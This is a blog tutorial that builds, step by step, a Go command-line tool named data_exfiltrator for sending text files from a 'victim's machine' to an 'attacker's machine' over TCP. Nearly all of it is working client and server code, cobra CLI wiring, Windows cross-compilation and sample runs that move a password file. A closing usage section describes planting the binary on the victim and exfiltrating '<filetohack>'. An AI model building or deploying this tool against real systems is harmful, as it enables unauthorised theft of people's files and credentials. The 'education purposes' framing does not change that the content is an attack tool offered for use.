Hack and Exfiltrate text files using GoLang
Tags: go, programming, cybersecurity
Published: 2022-01-23 18:07:16

This article will help you to write a Golang program which will transfer files from the remote machine (victim's machine) to your local environment(attacker's machine).

This article is mainly for education purposes and can be used for small pen-testing scenarios as well ( I have used it and it really works). We can use tools like `scp` and `nc` as well to transfer file data but we here get a chance to do the same natively using Golang.

## Plan of Action

1. Setting up your workspace
2. Create a TCP server which opens a TCP port for data transfer.
3. Transfer data using `netcat` to check connectivity.
4. Concurrently listen to the data being sent.
4. Create a client that sends data to the server.
5. Modify the client to read a file and send data to the server.
6. Create a CLI app using `cobra` to combine client and server in a single application and use arguments to accept file names, hostname or IP address and port to connect.
7. Make it Windows and Linux suitable. (For you to hack some readable windows file)

## Let's begin

### Setting up your workspace
First we create a folder called `data_exfiltrator` in which our application will reside. Inside this we will create a folder called `server` which will contain a file called `server.go`.

```
data_exfiltrator
└── server
    └── server.go
```

### TCP server
Now we will create a simple TCP server. For this we are using `127.0.0.1` (localhost) and port 8080 to bind the server
```
package main

import "fmt"

// constant used for connections
const (
	connHost = "127.0.0.1"
	connPort = "8080"
	connType = "tcp"
)

func main() {
	fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
}
```
Now we will open a socket so that we can use it as a server. For this we will try the `net` package, natively provided to us, by Golang which is used for providing portable interface for network connections. `net` package is easy to start with. 

When we run `net.Listen()` we wish to listen on the network and when we run `net.Dial()` we wish to dial the connection to some other program on a network. 

For server to server we use `net.Listen()` 
for client to send data we use `net.Dial()`.

Right now to create a TCP server we will use `net.Listen()`. Now the code will look like
```
package main

import (
	"fmt"
	"net"
)

const (
	connHost = "127.0.0.1"
	connPort = "8080"
	connType = "tcp"
)

func main() {
	fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
	
	// starting a server
	conn, err := net.Listen(connType, connHost+":"+connPort)
	
	if err != nil {
		fmt.Println("Connection error", connHost+":"+connPort)
		panic(err.Error())
	}
	defer conn.Close()

	// to continuously listen to connections
	fmt.Println("Listening ...")
	for {
		client, err := conn.Accept()
		if err != nil {
			panic(err.Error())
		}
		// To print the client address and port
		fmt.Println("Client", client.RemoteAddr().String(), "connected")

		// code here for accepting the traffic
	}
}
```
We start the server with `conn, err := net.Listen(connType, connHost+":"+connPort)` and use `defer` as best practice to safely close the connection. 
We run an infinite loop to listen to connections and use 
```
client, err := conn.Accept()
```
to accept the connections. After this we will code what we need to do with the `client` once a connection is accepted.
```
func main() {
	fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

	// starting a server
	conn, err := net.Listen(connType, connHost+":"+connPort)

	if err != nil {
		fmt.Println("Connection error", connHost+":"+connPort)
		panic(err.Error())
	}
	defer conn.Close()

	// to continuously listen to connections
	fmt.Println("Listening ...")
	for {
		client, err := conn.Accept()
		if err != nil {
			panic(err.Error())
		}
		// To print the client address and port
		fmt.Println("Client", client.RemoteAddr().String(), "connected")

		// code here for accepting the traffic
		buffer, err := bufio.NewReader(client).ReadBytes('\n')
		if err != nil {
			fmt.Println("Client left")
			client.Close()
			return
		}
		fmt.Println("Client message:", string(buffer[:]))
		
		// We close the client just after receiveing one message
		client.Close()
	}
}
```
We create a Reader using `bufio` package. This will create a reader for us which will read bytes and delimit them at `\n`. The message from the client is stored in the `buffer` variable as bytes which we convert to string using `string(buffer[:])`. 
To run and test this, open two terminals -
```
# First terminal
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
```
On the second terminal
```
$ nc localhost 8080
```
and we will explain rest in the next section

### Using `nc` or `netcat` to transfer the data

Once you run `nc` command you will observe that our print statement is able to print out the connection details in the first terminal.
```
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
```
Now in the second terminal we can just send the data by typing it
```
$ nc localhost 8080
hello
```
When we press enter after typing `hello` we can see the same appears over on the terminal one.
```
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
```
You will see that your connection on the terminal gets immediately closed because we are running `client.Close()` in the last line of the code. To make it more interactive we will now convert this code to accept connections and handle the connection on some go routines.

### Creating goroutine to handle client connections
Every connection to the server will be handled in a goroutine. Its very simple to implement and we will create a special function to do that. The name of the function is `handleConnection()` and this function will take the client connection as the parameter and perform the given tasks.
```
func main() {
	fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

	// starting a server
	conn, err := net.Listen(connType, connHost+":"+connPort)

	if err != nil {
		fmt.Println("Connection error", connHost+":"+connPort)
		panic(err.Error())
	}
	defer conn.Close()

	// to continuously listen to connections
	fmt.Println("Listening ...")
	for {
		client, err := conn.Accept()
		if err != nil {
			panic(err.Error())
		}
		// To print the client address and port
		fmt.Println("Client", client.RemoteAddr().String(), "connected")

		// code here for accepting the traffic
		go handleConnection(client)
	}
}

// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
	for {
		buffer, err := bufio.NewReader(client).ReadBytes('\n')
		if err != nil {
			fmt.Println("Client left")
			client.Close()
			return
		}
		fmt.Print("Client message:", string(buffer[:]))
	}
}
```
The `Client Left` statement is executed in the `handleConnection()` function when `bufio` reader is not able to read the incoming bytes and this will happen when the client has closed the connection from its side. Now the server will not close the connection immediately as the goroutine is running an infinite loop to receive messages continuously from the client. It will be the client's responsibility to close the connection now.
Terminal 1 - Running the server
```
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
```
Terminal 2 - Running the `nc` client
```
$ nc localhost 8080
```
Now we will continuously send the messages from `nc` and we can see the same getting reflected in the terminal 1
Terminal 2 - `nc` (Type your message and press enter to send the message)
```
$ nc localhost 8080
hello
how
are
you
```
Terminal 1 - Your server
```
$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
```
When we terminate the `nc` command using Ctrl+C then we get a message on server that client has left.
```
$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
```
Now you don't need to restart server for another connection. Just simply create a `nc` client and start sending the messages again.
```
$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
```
Here we see the client will get connected again through some different source port.

### Create a client that sends data to the server
Now we will remove the need of `nc` and create our own client to achieve the same.
For this create a directory called `client` and create a file inside it called `client.go`
```
package main

import (
	"bufio"
	"fmt"
	"os"
)

// there are server details to which client will connect
const (
	connHost = "127.0.0.1"
	connPort = "8080"
	connType = "tcp"
)

func main() {
	reader := bufio.NewReader(os.Stdin)
	for {
		fmt.Print("Enter text: ")
		text, _ := reader.ReadString('\n')
		fmt.Printf("Your text is %s", text)
	}
}
```
We have server details that we will use soon to connect our client to the server. Right now we have created a reader that takes input from the `os.Stdin` (your terminal) and prints them out in a continuous loop. You can run this program via `go run client/client.go` to test if it works for you.
Now we will modify the `main` function to send `text` to our server and we already discussed to use `net.Dial()` for this. So our `main` function will become
```
package main

import (
	"bufio"
	"fmt"
	"net"
	"os"
)

// there are server details to which client will connect
const (
	connHost = "127.0.0.1"
	connPort = "8080"
	connType = "tcp"
)

func main() {

	// connecting to the server
	conn, err := net.Dial(connType, connHost+":"+connPort)
	if err != nil {
		fmt.Println("Not able to connect to ", connHost, "at port", connPort)
		panic(err.Error())
	}
	defer conn.Close()

	// creating a reader
	reader := bufio.NewReader(os.Stdin)

	for {
		fmt.Print("Enter text: ")
		text, _ := reader.ReadString('\n')

		// Convert the text to bytes and then write the bytes for it send to the connection.
		conn.Write([]byte(text))
	}
}
```
We create a block to connect to server and create a reader for reading input from `stdin` and then send it by using `conn.Write()` function.
To run this we will first run a server in terminal 1 and client in terminal 2.
Terminal - 1
```
$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
```
Terminal - 2
```
$ go run client/client.go                                                                                                         
Enter text:
```
Enter to send text
Terminal - 2 (client) 
```
$ go run client/client.go                                                                                                         
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
```
Terminal - 1 (server)
```
$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
```

### Modify the client to read the file 

Our main purpose is to exfiltrate text file form the victim's machine to the remote machine, so logically our client should read input from text files rather then `os.Stdin`.
For this we will create a text file `sample_input.txt`
```
password1
password2
password3
password4
```
Our directory structure looks like this 
```
$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
```
Now our `client.go` will be modified to read data from file `sample_input.txt`

```
package main

import (
	"bufio"
	"fmt"
	"net"
	"os"
)

// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
	connHost = "127.0.0.1"
	connPort = "8080"
	connType = "tcp"
	fileName = "client/sample_input.txt"
)

func main() {

	// connecting to the server
	conn, err := net.Dial(connType, connHost+":"+connPort)
	if err != nil {
		fmt.Println("Not able to connect to ", connHost, "at port", connPort)
		panic(err.Error())
	}
	defer conn.Close()

	// Open the file here
	file, err := os.Open(fileName)
	defer file.Close()
	if err != nil {
		fmt.Println("Not able to read file", fileName)
		panic(err.Error())
	}

	// Create a scanner to read the open file
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {

		// We add \n because scanner.Text() removes the ending newline character
		conn.Write([]byte(scanner.Text() + "\n"))

	}
	fmt.Println("File transferred successfully")
}
```
We add the `const` for file location `fileName`. To open a file for reading we use the `os` library and for reading the text from a file we use the `bufio` scanner.
The problem with the `Scanner` is that it removes the newline after reading text from the file. That's why we need to add the newline at the end of the text that we are sending to the connection in `conn.Write()` statement. Let's test this !
Terminal -1 run your server normally as there are no changes
```
$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
```
Running your `client.go` file to send the data
```
$ go run client/client.go
File transferred successfully
```
If we see the output in the terminal 1, we will be surprised
```
$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
```
We see that only the first line is being transferred to the server. But why? What happens to the remaining one ?

The problem is because of the speed with which client is sending the data and the speed with which the server is ready to accept it. As the communication is asynchronous the client is never sure that the server has read the previous message. To make client run a bit slow we will add `time.Sleep()` for client to sleep for 5 milliseconds.
This is to be done in the `scanner.Scan()` loop
```
<...>
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {

		// We add \n because scanner.Text() removes the ending newline character
		conn.Write([]byte(scanner.Text() + "\n"))

		// sleeping for 5 milliseconds
		time.Sleep(5 * time.Millisecond)

	}
<...>
```
Now running the `client.go` in terminal 2
```
$ go run client/client.go
File transferred successfully
```
and server in terminal 1
```
$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
```
We are now able to see all the contents of the file. if this still is not giving you correct answer then try increasing the sleep time to 10, 20 or maybe even 50 milliseconds. But isn't this approach still asynchronous. The client is still unaware of whether the data has been read by the server or not. 

To make this a complete synchronized process we will ask the server to response a `yes` or maybe anything as small as one character to declare that it has read the message and simultaneously ask the client to read (and send ) the next line only after receiving this confirmation.

So to do this will modify the `server.go` to write a response in the `handleConnection` function
```
func handleConnection(client net.Conn) {
	for {
		buffer, err := bufio.NewReader(client).ReadBytes('\n')
		if err != nil {
			fmt.Println("Client left")
			client.Close()
			return
		}
		fmt.Print("Client message:", string(buffer[:]))

		// send this as a response to the client
		client.Write([]byte("Y"))
	}
}
```
and in the `client.go` to read the response we will modify the for loop of `scanner.Scan`
```
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {

		// We add \n because scanner.Text() removes the ending newline character
		conn.Write([]byte(scanner.Text() + "\n"))

		// declare a byte variable
		var b = make([]byte, 2, 3)

		// read the response here
		conn.Read(b)

	}
```
We declare a variable and read the response in that variable. Once this is done we will begin reading next line.

Running this from terminal - 2 for client
```
$ go run client/client.go
File transferred successfully
```
From terminal - 1 for server
```
$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
```
Now our entire process is synchronous.

Now if you want you can stop here and modify the host and port to make it workable for your needs. Launch the server in your local and run the client program on the victim machine. Obviously there are high chances that you might not be able to run the go program in the victim machine directly using the `go` command so you need to convert it into an executable. For this you can run the following command -
```
$ cd client

$ go build client.go
```
This will create a binary that you can distribute to the victim and transfer the text files from there.

If you want to transform the entire thing into a complete tool then follow along to see how we convert server and client to a single application and use arguments for host, port and file paths.

### Using cobra for CLI modifications.

Before diving into this our purpose in this sub-section is to create a tool which run server like this
```
./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
```
and for the client to exfiltrate `password.txt`
```
./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
```

For this we will use `cobra` which is used by lot of open-source projects like `kubernetes`.

For getting started this is our current folder
```
$ pwd
~/data_exfiltrator
```
and the directory structure is 
```
$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
```
First we need to create a module which we can done by running
```
$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
	go mod tidy

# It will create a go.mod file                                                                                                                                        
$ ls -lrt           
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai   45 Jan 23 21:31 go.mod
```
To install cobra we need to install its module. Preferably run this from `~/data_exfiltrator` directory.
```
$ go get -u github.com/spf13/cobra
```
This will install the module dependency in the `go.mod` file and `go.sum` file for checksums

Now we need to set out our `PATH` variable to take binaries inside the path `GOBIN` as well . To get the `GOBIN`
```
$ go env  | grep GOBIN                                                                                                          
```
If the `GOBIN` is empty for you search for `GOPATH/bin` and add this to your path variable.
To check this run 
```
$ cobra help
```
If this runs successfully then cobra is rightly installed.

Now we will use cobra to initialize our client APP. The command to do that is 
```
$ cobra init
```
This will initialize your application and you will see lot of files created.
```
$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
```
Firstly, `cobra` creates `main.go` from where our application will begin. Secondly, it creates `cmd` file which contains `root.go`. This is the file which will be executed from `main.go` and will contain what we need to do when we run `main.go`.

We wish to add sub-commands like `client` and `server` as described earlier. For this we can run
```
$ cobra add client

$ cobra add server
```
This will modify the `cmd` directory to add two more files named `client.go` and `server.go`. 
```
$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   ├── client.go
│   ├── root.go
│   └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
```
Our server and client files reside in `server/server.go` and `client/client.go` which are different from the `server.go` and `client.go` created by `cobra` in `cmd` directory.

When we will run `go run main.go client` then the `cmd/client.go` will be invoked and when we will execute `go run main.go server` then the `cmd/server.go` will be invoked.

Right now if we observe our `client/client.go` and `server/server.go` are part of `main` package. We can't use `main` as package for them because we don't want to create separate binaries for them, so we will convert `client/client.go` to become package `client` and for `server/server.go` we will use package name `server`. To do this just simply change their package names from `main` to `client` or `server` accordingly.

Now as we are running these file separately so we will remove the `main` function and create different functions for them.
For `client/client.go`
```
package client

import (
	"bufio"
	"fmt"
	"net"
	"os"
)

const connType = "tcp"

func checkFile(file string) error {
	_, err := os.Stat(file)
	return err
	// check file permissions as well
}

func ExfiltrateFile(fileName, connHost, connPort string) error {

	// stat file
	if checkFile(fileName) != nil {
		return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
	}

	// check connection

	fmt.Printf("Connecting %s:%s over %s\n", connHost, connPort, connType)
	conn, err := net.Dial(connType, connHost+":"+connPort)
	if err != nil {
		fmt.Println(err.Error())
		return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
	}
	defer conn.Close()
	//transfer file
	file, err := os.Open(fileName)
	if err != nil {
		return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
	}
	defer file.Close()

	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		var b = make([]byte, 2, 3)

		// We add \n because scanner.Text() removes the ending newline character
		conn.Write([]byte(scanner.Text() + "\n"))

		// Wait for the server message to indicate that the line is written
		conn.Read(b)
	}
	return nil
}
```
As we notice in the above file we don't have main function, rather we are using `ExfiltrateFile` as the function which takes `fileName` , `connHost` and `connPort` as arguments. 

Now try to understand what we are doing here. We will pass option from the shell to accept file names, host and port. They will be passed in the `root.go`. `root.go` will determine what subcommand we are using, `client` or `server` by the command we have typed. Suppose if we are running `client` sub-command then `cmd/client.go` will be invoked with the appropriate flags (file names, host and port passed from shell). Once `cmd/client.go` get these flags, it will call `ExfiltrateFile()` function from `client/client.go` and pass these flags as arguments. The `ExfiltrateFile()` function will run the the client logic we built earlier. 

This also goes for `server/server.go`
```
package server

import (
	"bufio"
	"fmt"
	"net"
	"os"
)

const (
	connType = "tcp"
)

func Serve(fileName, connHost, connPort string) error {

	fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
	conn, err := net.Listen(connType, connHost+":"+connPort)
	if err != nil {
		return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
	}
	defer conn.Close()

	// running the loop for listening all the connections
	fmt.Println("Listening ... ")
	for {
		// Start accepting the connections
		client, err := conn.Accept()
		if err != nil {
			panic(err.Error())
		}
		fmt.Println("Client", client.RemoteAddr().String(), "connected")
		go handleClientConnection(client, fileName)
		fmt.Println("You can press Ctrl+c to terminate the program")
	}
}

func handleClientConnection(conn net.Conn, fileName string) {
	// handling buffer writes
	// it take the connection and then creates the buffer
	file, err := os.Create(fileName)
	if err != nil {
		panic(err)
	}
	defer close(file)
	for {
		buffer, err := bufio.NewReader(conn).ReadBytes('\n')
		if err != nil {
			fmt.Println("Client left")
			conn.Close()
			return
		}
		file.WriteString(string(buffer[:]))

		// Sending a reply back to client for synchronous connection
		conn.Write([]byte("Y\n"))
	}

}
func close(file *os.File) {
	fmt.Println("Closing the file")
	fmt.Println()
	fmt.Println("Listening ... (press Ctrl+c to terminate)")
	file.Close()
}
```
Here we use the `Serve` function to start a TCP server by accepting file name, host and port as parameters

If we carefully observe the `handleConnection` function then we are now outputting everything to a file and not to the console. This file name is received from the `--output` or `-o` option in the `cmd/server.go` file.

Now our client and server logic is ready to be used. We just need to modify the `cmd/client.go` and `cmd/server.go` to pass the flags to the `client` and `server` accordingly.
So the `cmd/client.go` is
```
package cmd

import (
	"log"

	"github.com/dunefro/data_exfiltrator/client"
	"github.com/spf13/cobra"
)

// clientCmd represents the client command
var clientCmd = &cobra.Command{
	Use:   "client",
	Short: "to run the client",
	Long:  `Running the client for data exfiltrator`,
	Run: func(cmd *cobra.Command, args []string) {

		fileName, _ := cmd.Flags().GetString("file")
		host, _ := cmd.Flags().GetString("host")
		port, _ := cmd.Flags().GetString("port")

		err := client.ExfiltrateFile(fileName, host, port)
		if err != nil {
			log.Println("Failed to transfer the file")
			log.Fatal(err.Error())
		} else {
			log.Println("Successful: File was transferred")
		}

	},
}

func init() {
	rootCmd.AddCommand(clientCmd)

	// defining flags for client
	clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
	clientCmd.MarkPersistentFlagRequired("file")
	clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
	clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")

}
```
In the `init()` function we have flags that are available with the `client` sub-command. These are `file`, `host` and `port` which can be invoked with `--` for shell arguments. We have only marked one of the options as mandatory with `client` sub-command i.e. `file`. Logically the client must pass some file to exfiltrate. If `host` and `port` are not specified then we will use default value `127.0.0.1` and `8080`. This is mentioned in the 3rd argument of each flag. We can use the small option `p` for port as `-p`.

Once this is initialized the function in the `Run` will be executed and we can get all the values passed for each argument in the command invoked by using `cmd.Flags()`. So
```
fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
```
This gives the value of `fileName`, `host` and `port` passed in the command. Once we have them we invoke the `ExfiltrateFile()` function from the `client/client.go` which we have imported in the `cmd/client.go` by  
```
"example.com/data_exfiltrator/client"
```
and so now to call the exfiltrate function
```
client.ExfiltrateFile(fileName, host, port)
```
This happens for `server.go` as well
```
package cmd

import (
	"fmt"

	"example.com/data_exfiltrator/server"
	"github.com/spf13/cobra"
)

// serverCmd represents the server command
var serverCmd = &cobra.Command{
	Use:   "server",
	Short: "creating server",
	Long:  `This will create a server at a specified port for connection and output to directed file`,
	Run: func(cmd *cobra.Command, args []string) {
		fileName, _ := cmd.Flags().GetString("output")
		host, _ := cmd.Flags().GetString("host")
		port, _ := cmd.Flags().GetString("port")

		err := server.Serve(fileName, host, port)
		if err != nil {
			fmt.Println(err.Error())
		}
	},
}

func init() {
	rootCmd.AddCommand(serverCmd)

	// defining flags
	serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
	serverCmd.MarkPersistentFlagRequired("output")
	serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
	serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}

```
For the `serve` sub-command we are using `output` as the option for outputting what we receive from the client. This is a compulsory option and must be passed when invoking `server` sub-command. We have `host` and `port` similar to `client` sub-command. We call the server function by -
```
server.Serve(fileName, host, port)
```
and pass the output file, host and port.

Finally the `root.go` will be  
```
package cmd

import (
	"os"

	"github.com/spf13/cobra"
)

// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
	Use:   "data_exfiltrator [command]",
	Short: "Exfiltrate your files from one location to another",
	Long:  `Application to build data exfiltrator`,
	// Uncomment the following line if your bare application
	// has an action associated with it:
	// Run: func(cmd *cobra.Command, args []string) { },
}

// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
	err := rootCmd.Execute()
	if err != nil {
		os.Exit(1)
	}
}

func init() {
	// Here you will define your flags and configuration settings.
	// Cobra supports persistent flags, which, if defined here,
	// will be global for your application.

	// rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")

	// Cobra also supports local flags, which will only run
	// when this action is called directly.
	// rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
	// Add version here
}
```
For `root.go` we have disabled the `Run` flag to hold any function. This is because we don't want to do anything until a sub-command like `client` or `server` is passed to it.

So now we will build everything and test. To build
```
$ go build
```
This will create a binary called `data_exfiltrator`. Run this binary simply by
```
$ ./data_exfiltrator                                               
Application to build data exfiltrator

Usage:
  data_exfiltrator [command]

Available Commands:
  client      to run the client
  completion  Generate the autocompletion script for the specified shell
  help        Help about any command
  server      creating server

Flags:
  -h, --help   help for data_exfiltrator

Use "data_exfiltrator [command] --help" for more information about a command.
```
We will try to run a server
```
$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
```
Now we will try to run the client
```
$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
  data_exfiltrator client [flags]

Flags:
  -f, --file string   file(text) name which you want to transfer (required)
  -h, --help          help for client
      --host string   host that you wish to connect (default "127.0.0.1")
  -p, --port string   port that you wish to connect (default "8080")
```
This will fail because as we have mentioned we need to pass the option `--file` for this, so
```
$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
```
The terminal 1 where server ran is now showing
```
$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ... 
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file

Listening ... (press Ctrl+c to terminate)
```
Press Ctrl+C to check the file `something.txt`
```
$ cat something.txt         
password1
password2
password3
password4
```
The file is **exfiltrated**.

### Making it Windows and Linux suitable

During exfiltration my main issue was that I was not able to run some program on windows which I was easily able to run on Linux. As Golang provides us with this ability I built the same binary for windows as well. 

Let's check how to do that - 
To make the file windows specific
```
$ GOOS=windows GOARCH=amd64 go build .
```
This will create a file called `data_exfiltrator.exe` which you can now run on windows.

Generally the scenario is to hack files from windows and hackers have Linux as their own host. That's why having `data_exfiltrator.exe` and `data_exfiltrator` will be very helpful because we can now mix and match the use cases to a wide range.

### How to use the above file

1. Once you have built the binary, go over to the victim machine, and keep this binary over there. if it's windows then copy the windows binary for the same.
2. On your local machine run the server by `./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort>` command. If you local is also  windows then run `./data_exilftrator.exe server` with similar flags.
3. Now on the victim side run `./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>`
4. You will get the `<filetohack>` file in your local with the name `<outputfile>`.

## Conclusion
The above program if read in a single take might become a nightmare to perform that's why I made it a point to distribute it in lot of small chunks. The main takeaway is to understand the logic of socket programming and how to create a CLI application in Golang.
To get the complete source code you can refer to [GITHUB](https://github.com/dunefro/data_exfiltrator). Let me know what do you think about this.


#### References
1. https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/
2. https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43
3. https://github.com/spf13/cobra